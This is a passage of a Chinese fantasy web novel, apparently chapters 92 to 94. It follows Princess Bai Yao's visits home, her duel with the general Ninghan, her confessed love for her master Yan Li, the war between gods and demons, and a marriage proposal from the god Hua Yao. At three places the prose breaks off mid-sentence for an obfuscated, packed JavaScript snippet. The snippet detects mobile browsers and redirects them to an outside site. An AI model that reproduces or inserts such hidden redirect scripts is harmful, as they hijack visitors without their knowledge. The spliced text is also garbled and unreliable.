永昭殿下斜睨了他一眼:“你还想晏离将瑶儿好好生生地护送回来?”众人脑海中浮现清冷公子对他们的小姑娘毕恭毕敬的样子,虽然看起来违和,不过好像也挺爽的。 永昭殿下的气渐渐消了,叹了口气:“不管她怎么回来,这次我一定要严格管教她。” 反观无恙就没那么好运,她纵容小公主犯错,差点被赶出长乐宫,多亏了阿筝帮她说话。但阿筝却因为管教公主不利被罚了十年俸禄,回归普通侍从的身份,直到重新拿到杯水车薪的俸禄,公主也没回来。 其间,为了寻找锁魂铃的下落,阿筝申请出宫前往魔域。魔宫建在一片荒漠之中,四周昏昏沉沉,如同被乌云笼罩。 魔域之主兰霄与他的父亲早年有些交情,与阿筝却素未谋面。阿筝踏上魔域的领土,因无法证明自己的身份被拦在魔宫外,只能无功而返。 公主有时会放纸鹤回来,带来一纸书信。信中溢于言表的欢喜之色,阐述自己拜师学艺、游山玩水,与晏离其乐融融,用公子鸢的话来说就是“谁信谁傻”。 公子鸢暗地里嫉妒疯了,他没想到为永昭殿下吃醋就算了,自己女儿也不省心。 一晃又过了几年,公主终于想起回宫看望父母。 永昭殿下与公子鸢、凝寒候在殿内,远远看见一抹白色窈窕的身影款款而来,公子鸢猛地站起来,身旁投来两道揣度的目光,他又故作镇定地坐下。 待公主缓步走至殿前,脸上的青涩已经消退,眉眼间除了记忆里的灵动之外,还增添了几分韧劲。永昭殿下将她上上下下打量了一番,心里悬挂多年的石头终于落了地。 公主的眼眸灿若星辰:“娘娘爹爹我回来了。” 永昭殿下点点头,将她招呼近前,带着女帝的威严说:“既然回来了,就在宫里好好待着,别总往外跑了。” 公主神情一滞,转而笑开:“娘娘你在说什么?我来看望你们几日就回去继续修炼。” 公子鸢手一抖,严厉喝道:“回去?回哪里去?这里才是你该回的地方。” 公主不以为然:“晏离的仙术虽比不上娘娘,但与青丘其他人比也高出一大截,有他教女儿有什么不好?他还包吃包住,没收学费。” 公子鸢眉头一敛,眼中一片风雨欲来的前兆,女儿居然还帮着外人说话!倒是凝寒听了这话,道:“殿下说的是,不如先看看公主在外学的如何?” 检验公主这段时间的学习成果是必然,公子鸢仍是不悦地瞥了凝寒一眼,那眼神意味着什么就不得而知了。 阿筝亦前来观望,一别经年,公主一见他竟然低眉顺眼、细声细语地说:“有苏先生,许久不见,别来无恙啊。”阿筝突然觉得晏离或许是个当先生的料。 宫外一块空旷的平地上,公主与凝寒分别立在两侧,清风拂动两人的发丝与衣摆,两人纹丝未动,在场的气氛却渐渐凝滞。 凝寒作为青丘的武将,在对战中颇有经验与战术,曾与永昭殿下一起经历过许多场战役,让他来检阅公主这些年的修炼成果再合适不过了。 黑色劲装的包裹下,他挺拔的身型犹如一座铜墙铁壁,严肃的眉眼与棱角分明的线条,带着一股战场上修炼成的狠厉。 而他对面,是一个看上去神色散漫、姿势漏洞百出的小姑娘。 风停叶落,周遭寂静无声。 凝寒微眯了下眼,沉声道:“让我看看你都学了什么。” 公主未流露出一丝紧张,反而慵懒地抱着双臂,唇角一勾:“叔叔先请。” 阿筝与永昭殿下、公子鸢站在不远处,听到公主的话神情皆是一凝,心里暗暗替公主捏了把汗。果真是初生牛犊不怕虎,凝寒就算让她三十招都未必会输,公主怎么敢让他先行? 公子鸢用手中的孔雀羽扇挡住了下脸,嘴角勾出一个弧度,凑到永昭殿下耳侧轻语:“不愧是我女儿,输人也不能输阵。” 永昭殿下白了他一眼:“这有什么用?她日后若是受了欺负有的你哭。” 公子鸢一听,嘴角向下一撇:“她要是受欺负你能坐以待毙?” 永昭殿下:“我能护她一时,不能护她一世。她是未来的青丘之主,她必须自己变强。” 战场不需要礼让,凝寒一记手刃劈下,擦着手掌爆发出一股巨大的气流,顿时地动山摇,大地的裂缝如一条狰狞的伤疤冲向公主所站的位置。 公主脚步轻点,向旁边跳了三步,如一只雏鸟般轻巧灵动。然,雏鸟展开双翅,竟像鸿鹄一般遮天蔽日。 公主身着白衣,在空中张开双臂,双手越过头顶挽手花捏了个诀。她的速度很快,但凝寒比她更快,犹如一道黑色闪电分秒间就出现她面前。 两人实力相差太大,凝寒若是不放水,一局便可定胜负。 公主瞳孔倒映着瞬间逼至身前的凝寒,猝不及防呼吸一滞,连连后退,刚才念的诀化气为牢,像一张巨大的网向凝寒收拢而去。 气无处不在,飘忽不定,注入白色的仙力像一层劈不开斩不断的透明薄膜。薄膜在阳光下反射出一片虹光,凝寒眼中划过一丝了然,不退反进,却像一把利刃直接从中刺破,气流顺着刀锋向两侧泄出。 永昭殿下皱了下眉头:“就这?”荒废了几年的学业,就学了个障眼法? 公子鸢的扇子僵持在手中,脸上也不好看。 “不......”阿筝眼波一动,那层薄膜并没有被一举刺破,而是随凝寒的攻击改变了形状。 凝寒眼神一凌,手刃向前推去,掌前泄出一团白色的水雾。 不是气?是水? 不,不是水,是冰。 极寒顺着掌心迅速地向体内蔓延,凝寒呵出一口白气,眉上与发梢凝聚了一层白色的霜。 怎么回事? 那层气在快速吸收凝寒身体的温度!凝寒体内开始僵硬,速度慢了下来。 永昭殿下眯了眯眼:“有点意思了。” 凝寒有着丰富的作战经验,面对此情此景神色未变,手上握拳发力,身上附着的寒霜顷刻间消融。 公主自知打不过他,能多拖一刻是一刻,趁此间隙长袖一挥,一道仙力打向凝寒的身体。 凝寒就是想看看公主到底学成如何,于是正面迎了上去。 白光轰然在凝寒身前一撞,巨大的冲击将凝寒掀开数米,吓得公主呼吸一窒。要是将凝寒打伤,娘娘恐怕会杀了她! 烟尘散去,凝寒高大的身影如一堵高墙,脚下是碾压成粉末状的石砬。 公子鸢笑弯了眼睛,感叹道:“不愧是我的女儿。” 永昭殿下眼中亦流露出一丝欣喜,但口中仍严格道:“是凝寒放水了。” 公子鸢懂她的口是心非,嘴角露出得意的笑容,正在兴头上的贵公子一颦一笑都彰显着雍容华贵,他好久没这么欢心了。 “能让凝寒放水也是她的本事。” 公主缓缓落下,眼波一挑:“叔叔还打吗?” 凝寒板着脸:“不必。 “你的身法有进步,但发力不稳定。你习惯将发力点集中在右边,忽视了左边,若是敌人在你左边你的行动便会延缓。你可知有何办法?” 公主眼珠一转:“怎么办?” 凝寒背起右手:“练功没有捷径,若是不想让人知道你的弱点,唯有没有弱点。” 公主咬了下嘴唇,哼哼道:“听起来很厉害,但谁会没有弱点?我不信。” 凝寒垂下眼帘:“罢了,有些事情需要自行体会。” 公主微微抬了下眉,对此不屑一顾,转身向公子鸢与永昭殿下奔去,一头栽入永昭殿下的怀里蹭了蹭。 永昭殿下极为受用,却还嘴硬说:“多大的人了还撒娇。” 公子鸢在一旁干等着,装作不耐烦地说:“还有呢?” “爹爹!”公主从永昭殿下怀里探出头,又滚进公子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137756|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸢怀里。 阿筝看到这一幕心中酸涩,虽然先前不满公主偷跑出宫,但看见她能安然回来那些责怪的话都抛诸脑后。 公主这次回来感觉变化很大,但变化在哪儿,阿筝又有点说不出。许是之前都是他给公主讲述外面的世界,而这次换公主讲给他听。 公主不知在晏离那儿经历了什么,眉眼磨砺出了一种坚韧的气质。听说晏离对她相当严苛,每天天未亮便叫醒她晨练,对她的言行举止管束颇多,还总是冷脸以待。不过山里放养的鸡味道甚是鲜美,可以让她暂时忘却晏离那张冷冰冰的脸。 公主一个人喋喋不休,说山里有好多动物但没有人,晏离不爱说话,她都快憋成哑巴。 山里有多寂寞他深有体会,于是随之附和几句,公主两眼放光,仿佛找到了知音。 阿筝沉默须臾,劝道:“不如回来吧。” 公主拖着下巴,撅了撅嘴,目光往树梢上眺望,闪着意味不明的光:“等我将他的仙术学完了就回来。” 阿筝又道:“宫里不是没有人教你。” 公主顿了一下:“说来奇怪,我就听得进他的。” 阿筝摇摇头:“晏离没有什么不同。” 公主否认:“不。他与你们都不一样。” 阿筝反问道:“那又如何?” 公主张了张嘴,沉默半晌,垂眸再抬眼,理直气壮地说:“我不知道。” 阿筝哑然。 日子匆匆而过,公主再次启程,宫里热闹了几天又恢复了一片宁静。 时隔数年,阿筝再次申请出宫前往魔域,不料魔域之主并不在城中,辗转终于见到了魔域之主的弟弟兰阙。 兰阙年纪尚轻,长相美中带柔,举手投足风度翩然,气质干净又大方,一点没有传闻中魔族的暴戾,倒让阿筝有些恍惚。 两人一蓝一青坐在魔宫的会客亭中,白玉亭前簇拥着几株透粉的兰花,亭后一口泉水咕咚冒着苍白的水花,水中浮沫翻涌,冲刷着池边光滑洁净的岩石。 近来天界时有魔物侵扰的消息,魔域管教不利,责无旁贷,兰阙眉宇之间不太轻松。 阿筝对他委实好奇,忍不住多看了他几眼,兰阙放下手中的茶杯道:“先生在看什么?” 阿筝赶紧收回目光:“魔域与我想的有些不一样。” 兰阙轻轻抬了一下嘴角,眼神恬淡:“外界传言魔域都是些其貌不扬、性情暴戾的怪物。先生觉得我如何?” 据说魔族伊始是一帮修炼失败神智混乱的妖仙,因着烧杀抢夺恶事干尽,被放逐到天界边缘的蛮荒之地。这也是魔族一直被天界一众妖仙所诟病的原因。在天界传闻中,魔域险山恶水,是一个吃人不吐骨头的地方。但现在看来,传闻多有不实,至少在阿筝亲眼看过之后,觉得魔域与天界其他地方并没有什么不同。 阿筝浅笑:“是我唐突了。” 兰阙不在意地笑了一下,温和干净的目光落在阿筝身上,如同春风化雨润物无声。 “先生是兰家的故人,不用如此见外。当年的事我也有所耳闻,先生虽然不说,但这些年在外一定艰辛非常,我们没能帮上忙多有惭愧。” 当年华胥氏内乱,魔域根本无从出手,若真是出手,怕是外界会以为华胥族长与魔族早有勾结。就算能稳住一时,日后也会遭天庭与青丘的忌惮,总有一天会被有心之人利用。魔族虽然与天庭、青丘三足鼎立,但名声远不及其他两地,何必为了华胥氏再惹一身腥臊。 阿筝明白,魔族能帮华胥氏保存族中的宝物已是仁至义尽。 两人相谈甚欢,阿筝心中惦记着锁魂铃的下落,谈话间总有些迟疑。兰阙聪慧至极,几番交谈后便直截了当地说:“先生这次来应该不只是想与我寒暄。” 阿筝沉默了一会儿,说:“家父先前在魔域之主那里寄存了一样东西,是族中的遗物,不知他有没有向你提起过?” 兰阙的目光落在杯中的倒影,手指在杯上轻轻地摩挲,思忖片刻抬眼道:“不瞒你说,先生说的那样东西我确实不知情。最近天界魔物侵扰之事,兹事体大,兄长在外忙于应对,时常不在魔域。”他顿了一下说:“先生说的东西定是贵重之物,若是不急于一时,兄长回来之后我定然帮先生问出下落。” 阿筝看着兰阙的眼睛,不疑有他,如果兰阙想要欺瞒他,自己也委实没有办法与魔域之主抗争。 阿筝只道那是父亲遗物,想留个念想,若是有下落务必尽快告知,未多作停留便匆匆告辞。 93. 第 93 章 几个月后传来魔兽出逃作乱的消息,天庭折损不少天兵天将都未能将它收服,一时间天界各地对魔域怨声载道。 饶是如此,魔域依旧没有动作,放任外界对他们的指控甚嚣尘上。永昭殿下怀疑魔域内部出了状况,与凝寒前去一探究竟。 谁料,在与魔兽纠缠时,永昭殿下突然腹痛浑身无力。凝寒将军为掩护永昭殿下,生生挨了魔兽一招,后拖着重伤的身体集全身之力将魔兽一举歼灭。 两人被抬回宫中。 公子鸢守在诺大的寝宫,面色沉郁,眼中犹如乌云压顶暴雨倾盆,恨不能将人从床上拖起来鞭笞一顿。 医仙看过后,望了一眼公子鸢的脸色有些犹豫地低下头。 公子鸢冷眼似一把利刃见人就插:“快说。” 医仙不敢与他对视:“殿下......有喜了。” 公子鸢呼吸一滞,一瞬间的欣喜很快又被怒火压了回去,气得浑身发抖道:“让你折腾!活该!”又带着紧张的语气问医仙:“人怎么样?” 医仙与他视线一撞,浑身发颤,垂下头:“殿下没事,应该是太操劳了。” “孩子呢?” “孩子尚小,不太稳定。但我开些药剂应该不会有问题。” 公子鸢松了口气,原来是虚惊一场,吓得他出了一身冷汗。他摆摆手:“快去配药,需要什么尽管和宫里人说,若是永昭与孩子有什么问题,你懂的......” 医仙倒吸一口冷气,头也不敢抬向后撤退。 公子鸢忽然叫道:“等一下。”有些不耐烦地问:“另外那个呢?” 医仙说:“凝寒将军受了重伤,不过好在他天生体质不错,调养一个月,应当就能恢复七七八八。” 公子鸢冷哼一声:“下去。” 时隔多年,宫中又有喜事,气氛热闹起来。 永昭殿下孕后有些嗜睡,本应跟在她身侧的凝寒侍卫,不知为何时常告假,于是公子鸢就寸步不离地守着她。 是年,魔域封锁了一段时间的噩耗公之于众,魔域之主在剿灭魔兽颛靡的过程中魂飞魄散,只留下一个幼子。 兰阙痛失兄长,身心俱怆,继任魔域之主后下诏,将兄长的遗子兰渊过继到自己名下。 阿筝捏着兰阙寄来的书信,手指微微颤抖,嘴角泛起苦涩之意。字里行间的表述没有表露悲痛,却同样让人如坠冰窟,信中写道: “兄长逝世,锁魂铃下落不明。” 失去亲人的悲恸,阿筝与兰阙感同身受,寻找锁魂铃之事只能暂时搁置。 永昭殿下很快到了临盆的日子,折腾了一夜终于在鸡鸣时分生出了一位小公子。公子鸢抱着孩子傻笑了半晌,笑到最后竟然落下泪来。孩子取名为琅,希望他一生光明磊落。 孩子呱呱落地是喜事,可永昭殿下没高兴几日,便知晓了凝寒病重的消息。 凝寒身体大不如从前,据说他经常昏迷不醒,一躺就是几天到几个月,时间越来越长,醒来后精神也恍恍惚惚。 永昭殿下与公子鸢找了许多医仙前来诊治,都说是在那次与魔兽的斗争中落下了病根。至此,永昭殿下对魔族恨之入骨,对魔域的示好一律不加理会。 时隔多年,公主终于回宫。 公主已然是少女模样,长高了不少,阿筝都有些不敢认了。公主一回来就要见弟弟,令侍女将小公子抱来。 小孩子生得好看,精致的红底金丝小衣服衬得皮肤白里透红,一只金制长命锁在胸前晃荡。两姐弟第一次见面,两只相似的眉眼互相打量按兵不动。 公主示意侍女将小公子给她抱,小公子却攥着侍女的衣襟不松手,呆呆地望着她出神,眼睛一眨也不眨。 公主皱了下眉:“嘿,他怎么看上去不太聪明?” 哪有这样说自己弟弟的?小公子一听瘪了嘴,眼中凝聚了一层水雾。 公主抬了下眼:“不准哭。”生生将小公子的眼泪吓了回去。 永昭殿下匆匆而来,看到这一幕一巴掌拍在公主的肩头,将小公子抱过来:“第一次见弟弟就这么说话,没有一点当姐姐的样子。”公主嘟着嘴,看着神态苍老了许多的永昭殿下没敢顶嘴。 公子鸢后一步来,对自己女儿长成的这副沉鱼落雁的容貌十分满意:“这次回来就别走了,晏离就算有天大的能耐,这些年你应该也学完了吧。” 公主没有急于接话,眨了眨眼睛:“这个以后再说。凝寒叔叔呢?” 几人没有立刻答话,周遭气氛出现了一丝微妙的凝滞。 半晌公子鸢解释道:“凝寒之前受了重伤,这些年身体一直不太好,如今昏迷不醒已有数月。” 公主的目光在两人脸上来回扫视几圈才醒悟过来这不是玩笑,极其震惊地问:“怎么会这样?查出是什么原因了吗?” 永昭殿下叹了口气:“凝寒是戎族后裔,体质特殊,如果我们没有找到办法,只能去戎族看看了。” 戎族是天界十分稀有的种族,他们生性好战、自负,不喜外族人,早年常常在青丘惹事,甚至企图挑战白家的权威。在被白家一顿收拾后,族长将年少的孩子送往长乐宫作为质子,族中才安分了许多。 凝寒就是被送进长乐宫的质子。 起初,因质子的身份,他在长乐宫的境遇颇为难堪,却又因与永昭殿下同龄,成为了她的玩伴。两人虽然身份有别,但永照殿下并不介意,他们一同长大,如同青梅竹马。宫里人惯会看人眼色,知道他是永昭殿下的人,渐渐也就无人敢欺辱他。 公主先前并不知道凝寒是戎族人,此时听说有些意外,“戎族?他们不是一生都只能待在族中,不允许擅自离开吗?” 永昭殿下点点头,语气中带着些许疲惫:“原是这样的。但当年他的族人为了保全自己,将年幼的凝寒送来做质子,虽说一定会让他堂堂正正地回去,可是这么多年也没个动静。凝寒他渐渐看清了戎族的面目,断了回去的念头。不过他在宫里任职的消息传出去后,戎族又闹过一阵,欲逼迫他回去。凝寒断然拒绝,戎族对此颇有怨言。” 小公子在永昭殿下肩头不安分地乱动,永昭殿下换了个姿势,拍了拍他的背,转头小声对公主说:“戎族崇尚巫蛊之术,凝寒这次久睡不醒,他们难逃干系。这段时间我派人盯着戎族,只怕他们又有不安分的想法。” 公主目光沉沉,意识到这件事确实不妙,安慰道:“希望凝寒叔叔快点好起来。” 公子鸢有些吃味,眼角含笑,笑里藏刀:“你爹也不好过,你怎么不关心我?” 公主笑嘻嘻地去搂公子鸢:“爹爹怎么不好过了,谁敢欺负你不成?” 公子鸢装模作样地推开她:“凝寒昏睡不醒,他的任务都压在了我身上。我这几年都没歇过,你趁早回来帮我们。” 公主顾左右而言他:“我要是什么都不会,回来也没用。爹爹能者多劳,现在才是发光发热的时候。” 小公子不知道她们在说些什么,双手紧紧搂着永昭殿下,躲在她的颈侧偷偷看公主。 姐姐? 小公子睁着滴溜的眼睛打量着白瑶。 姐姐是什么? 公主每次回来,总会去阿筝那儿坐坐。阿筝听说她要回来,这些天将屋内外打扫了一番,又学了几样点心做法。 许久未见公主,阿筝甚至有些紧张,待公主从拱门走进来时,他都有些心神不宁。公主长开了,一双杏眼像极了永昭殿下,但精致的下半张脸更像公子鸢。 他看着公主一点点走来,好像看到记忆中那个小女孩一点点长大,终于长成了现在的模样。这副融合了永昭殿下与公子鸢优点的面容,一颦一笑让他有种恍若隔世的感觉。 原来他来长乐宫中已经这么多年了。 公主走至跟前对阿筝粲然一笑:“有苏先生,你有没有想我呀?” 阿筝在心里回答了无数遍,嘴唇微微嚅动,故作嗔怪道:“你还记得我吗?这么久都没有回来看我。” 公主不好意思地笑笑:“我是个大人了,总不能还像孩子一样赖在你们身边。现在不是有琅儿陪你们吗?先生怎么没有负责教导白琅?” 阿筝轻笑一声,答道:“我本来就不是教书先生,教你是个意外。” 公主听了没有不高兴,倒是转了转眼珠:“我懂了。有苏先生只是我的先生。” 阿筝没有反驳,笑道:“这次来有没有准备好你的故事?” 公主点点头,抿了下唇:“我有些烦心事想请教先生。” 两人在院前的石桌落座,公主小时候总喜欢趴在桌子上玩儿,如今长大了只能双手托着下巴杵在桌上。 阿筝见她神色复杂,心里有些紧张,怕她遇到了不好的事情不敢说,急忙道:“可是有人欺负你?” 公主摇摇头:“那倒没有。”她顿了一下:“可能也有吧。” 阿筝的心立刻揪起:“是谁?” 公主咬了下唇,眼神有些飘忽,压低了声音说:“如果我说是晏离......” 阿筝眼神一变:“他做了什么?” 公主拉了拉他的衣摆:“他一直不喜于色,不论我做什么都一副冷冰冰的样子,我还希望他能做点出格的事呢。” 阿筝心里松了一口气,缓缓坐下:“他是你的师父,你想让他如何出格?” 公主眨了眨眼,欲言又止,最后放弃挣扎:“我挺喜欢他的。” 阿筝被她的话惊得心里陡然一跳,继而剧烈翻腾,过了好一会儿才说:“你知道你在说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137757|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么吗?你怎么能......” 公主点点头,望着阿筝的眼睛:“你一定想说我们师徒有别,不该存在其他幻想。但我们是妖仙,自古以来生存是第一要义,自己逍遥快活最重要。往常那些规矩伦理是天庭为了约束神官、便于管理制定的,但青丘与天庭的情况相去甚远,我们为什么要放弃动物的天性,遵循他们的规矩?” 阿筝此时突然警醒,青丘的妖仙本质上与他是不一样的。华胥氏是上古神族,从始至终都是“人”的形态与习惯,但妖仙不是,他们先是动物,然后才是“人”。 一股疲惫突然涌上阿筝的身体,他张了张口:“你真的对他有意?” 公主点点头:“但他对我始终不冷不淡。有苏先生,我应该告诉他吗?” “吾家有女初长成”的成就感一扫而空,阿筝突然感受到了成长的负担,他缓了口气:“晏离难道没有感受到什么?他有什么反应?” 公主思索了一会儿:“他虽然性子冷淡又严苛,但没有做过对我不利的事情。我觉得他应当是不讨厌我的,但他也没表现过其他情绪,我拿不准。” 那就是还没有进展。阿筝又松了口气,虽然晏离冷傲如霜,但阿筝更加重视看着长大的公主殿下,本质上有些私心,认为公主世上无双,谁也配不上。 加上晏离性情淡漠,能收公主为徒已是极限,断不可能将自己也赔进去。如果只是公主单方面的好感,或许过几天就消散了。 就是不知道公主到底花了多少心思? 树梢歇着几只鸟雀,叽叽喳喳吵个不停,午后的阳光斜斜落在园中,小石桌周围恰好被树下的阴影笼了进去。 但还是有些燥热。 阿筝端来了一碗去暑的糖水和几种点心,公主每样都尝了几口,对他的手艺啧啧称奇。 阿筝垂眸思索了一会儿,忍不住问:“为何喜欢晏离?” 公主细细思忖道:“我觉得他好像没有看上去那么冷漠。”她垂眸用手指在桌上划拉几下:“在宫里大家都对我很好,不论我做什么大家都会鼓励我、包容我。但他不是,他很严格,一点也不给我面子。他像是一面镜子,还原了我本真的样子,有优点有缺点,有美好也有丑陋的地方。这些是不以我的身份为转移的。” 公主抬起头,眼中闪烁着微光:“虽然我并不完美,但我喜欢真实的自己。”她顿了一下,说道:“我喜欢和他在一起时的我。” 阿筝望着公主,她眼中闪着细碎的光,眉眼认真又坦然。 “先生,你说晏离会喜欢我吗?”公主小声问,语气不似刚才那样坚定。 阿筝话到嘴边犹豫了一下:“你想同他在一起?” 公主点了一下头,眼神坚定:“若是他答应,我只要他一人。” 阿筝心头沉甸甸的,突然察觉到公主已经不是玩玩而已,但晏离真的会动情吗?如果晏离一直冷若冰山,公主又当如何?若让公主屈尊将就......阿筝的目光落在她的小脸上,面色变得很不好看。 “此事不必急于一时,天界优秀又貌美的男子众多,以后你能独当一面,自然有机会见识。或许你见得多了,又会有新的喜欢。”阿筝垂眸,轻轻拂了拂热茶。 公主一愣,好一会儿才反应过来:“先生你是说让我弃了晏离?” 阿筝呛了口水,咳嗽起来,“咳咳,怎么能叫弃?” 公主拧了眉头:“晏离有什么不好?为什么我不能只喜欢他一个?” 阿筝解释道:“晏离什么都好,若是他对你无意,他再好又有何用?” 公主神情复杂:“你说的对。他若是对我无意......”少女的神情竟然纠结起来:“我一直很想告诉他,但如果我说了,他会直接把我逐出师门,也许我就再也见不到他了。” 阿筝轻轻拍了拍她的肩:“那便算了。先把仙术学好,其他的以后再说。” 公主点点头。 远处突然有些窸窸窣窣的声音,公主寻声走上前拨开园子的草丛,露出一个粉雕玉琢的孩子睁着大眼睛看着她。 公主将他抱出来,走回桌旁,拧眉对阿筝说:“琅儿是怎么照顾的,怎么看上去呆呆的?” 阿筝摇了摇小公子的小手,笑道:“他还不懂事,可不就什么也不知道。” 公主对着小公子的大眼睛抬了抬眉,小公子衔着手指看着她痴痴笑起来。 “你要快点长大呀,长大了姐姐带你出宫玩儿。宫外头有好多小动物,不知道你喜欢什么?对了,山里的小兔子可有趣了,下次我给你带一只回来。你喜欢什么颜色的?” 小公子笑得更加欢乐,也不知听懂了没有,不谙世事的神态单纯美好,公主不由也露出笑意,喃喃道:“我得给你挑一只特别的。” 94. 第 94 章 公主再一次离开,平静的生活没有持续太久,神魔大战一触即发。 阿筝不明白兰阙为何在这时发动大战,天界维持了数万年的平静一夕被打破,看似稳固的三角关系变得摇摇欲坠。 魔域向青丘请求支援,永昭殿下因凝寒伤重之事断然拒绝。 神魔大战的阴霾前前后后持续了一百年,青丘因未参与战争尚且安稳,但魔域与天庭损失惨重。天庭的少年武将华尧一战成名,与他并肩作战的符鸣也吸引了不少目光。 令人唏嘘的是位子尚未坐稳的新魔域之主兰阙在大战中遭受重创,没过多久魂飞魄散。天界哗然,众仙不明白他为何发动战争,还落得如此下场。 依照他先前的安排,下一任魔域之主由他的继子兰渊继位。 兰渊继位时年纪尚轻,魔域经此一役元气大伤,又被天庭明里暗里压制,势头很快就弱了下去,他的事迹便也无人问津。 战争虽然结束,但天界的动荡还在持续。不久,天庭又传来凤钰盗走锁魂铃的消息,阿筝才知道原来锁魂铃流落到了天庭。 凤钰盗走锁魂铃并不奇怪,他得到了燃魂灯,必然会觊觎锁魂铃,大约下一步就是来逼迫他取走招魂引吧。但奇怪的是,凤钰并没有立刻来找他,而是带着锁魂铃前往魔域,在魔域没有逗留太久又踏入了青丘。 他素来行径飘忽不定,谁也未做多想。 锁魂铃被盗,天帝大怒,遂派一众天兵天将捉拿凤钰。凤钰在青丘潜逃多日,最终,被天庭上神符鸣降服,就地封印,而锁魂铃在那之后不知所踪。 神魔大战在每个仙人心里留了一道疤,仿佛在嘲笑天界往日的平静有多么不切实际。神与魔从始至终就是对立的。 封印之森原本是一块人迹罕至的荒山野岭,凤钰被封印在此之后更是无人问津,久而久之便成了禁地。 阿筝曾踏入此地,翻山越岭在一片荒树丛中找到了封印凤钰的参天大树。 凤钰虽被封印,但神识未损,见阿筝前来,自嘲道:“没想到最先来看我的居然是你哈哈哈哈哈。” 阿筝看不到他的神态,不知道他在笑什么,但本能对他有些抗拒,单刀直入地问:“锁魂铃在哪里?” 凤钰掐着妖媚的声音说:“锁魂铃......当然是和我在一起!你将我放出去,我就给你。” 凤钰其人捉摸不透,阿筝自然不会轻易将他放出,他也没有办法破除符鸣上神的封印。 “为何锁魂铃会流落天庭?”阿筝问。 凤钰的声音停顿了一下,抬高音调:“呵呵......” 阿筝皱起眉,厉声道:“回答我。” 风中传来凤钰悠扬的声音:“你猜啊——” 阿筝到访几次都没能得到想要的答案,凤钰只闻其声不见其人,声音疯癫中隐隐匿着一丝压抑的悲怆。 或许是被关的久了,又或许是因为其他,后来竟然呜呜咽咽连完整的句子也说不出。又过了些年阿筝再去时,就连声音也听不到了,封印之森彻底成为了一片孤寂又阴森的地方。 没想到天界唯一一只上古神兽金凤凰竟然落得如此下场,未见过凤钰的人不免有些唏嘘,而与凤钰打过交道的人却心中有数,以他素来的作风,这不过是迟早的事。 历史的车轮不会因为任何一次事件放慢脚步,辗转许多年,长乐宫再一次喧闹起来。 某日天朗气清,天庭那位在神魔大战中立下显赫战功的华尧上神突然携重礼登门拜访,让长乐宫众人措手不及。 华尧上神被侍从请去长乐宫宣门殿,由永昭殿下与公子鸢亲自接待。 他一身华贵的黑金锦袍,头戴玉冠,五官英挺,身型高大刚劲,侍女簇在一起远远眺望,对这位外形姣好的上神产生了无限瞎想。 闭门洽谈几个时辰,宫里人都在猜测他的来意,或许之前那场的胜役与青丘有什么渊源。难道永昭殿下看似一直守在宫中,实则与天庭暗中有往来? 不怪旁人多想,青丘与天庭虽有联系,但毕竟立场不同。永昭殿下有没有参与其中、参与了多少便显得尤为重要。 几个时辰后华尧上神从大殿内出来,据说面色无异,神态坦然,就像他莫名其妙地来一样,转眼又莫名其妙地走了。 永照殿下与公子鸢出门相送,两人神情复杂,阅经千帆的人此时竟然露出一言难尽的表情。 当日,华尧的真正来意传遍了宫中,引起一片哗然。 谁能想到他居然是来提亲? 侍女们虽然觊觎华尧的美貌,但终归只停留在肖想,华尧上神究竟为谁而来几乎不言而喻。 关于公主如何与他相识,华尧上神解释说是他在追捕魔族时误入青丘,公主曾救过他,一面之缘便不能相忘。顺带着夸了夸公主端庄昳丽、俏皮可爱,一看就是永昭殿下育女有方。 永昭殿下心道,瑶儿在外多年,真要说“育女有方”可能也不是自己的功劳。她不免有些头疼,瑶儿到底对华尧上神做了什么? 公子鸢冷笑道:“你的好女儿真是和你一个模子刻出来的。”生气归生气,如何回应天庭的提亲成了难事。适才的谈话可以看出华尧上神是真心实意,魔域战败后,天庭势力更加强大,他在天庭风头正盛,若是瑶儿愿意,与他结亲对青丘确是一件好事。 阿筝知道华尧上神的来意后,匆匆候在大殿的花园外,待永昭殿下出来后立即上前作揖:“殿下,华尧上神可是为了求娶公主而来?” 永昭殿下正在发愁,看到阿筝送上门来,向他招招手:“我正烦着,华尧上神看着像是认真的,你来帮我梳理梳理这件事,到底该如何是好?” 阿筝听了心下一沉,公主心里有晏离,为何又会与华尧上神有纠葛?难道她对华尧上神也有意?想到公主先前胆大妄为的样子,这也不是没有可能。 阿筝心里愈加慌乱,但面上依旧冷静地劝说道:“殿下,公主尚小,心思不定,亲事还是容后再说。” 永昭殿下垂眸扫了一眼:“你可是知道什么?” 阿筝答道:“我......是怕公主不愿意。” 永昭殿下抬眼向园中的花草望去:“我知道瑶儿的心性,华尧上神一表人才,她没道理不喜欢。华尧上神亲自登门提亲也算有诚意,瑶儿还小,一时半会儿也办不了亲事,不如先应下。” 阿筝心里一紧,急忙道:“至少先问问公主的想法。” 永昭殿下的目光在阿筝脸上停留片刻,像是想到什么,喃喃道:“你说天帝知道这件事吗?” 阿筝知道永昭殿下的意思,天庭在神魔大战后势头正盛,现下与青丘结亲是强上加强、两全其美之事。加上公子鸢与天后有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 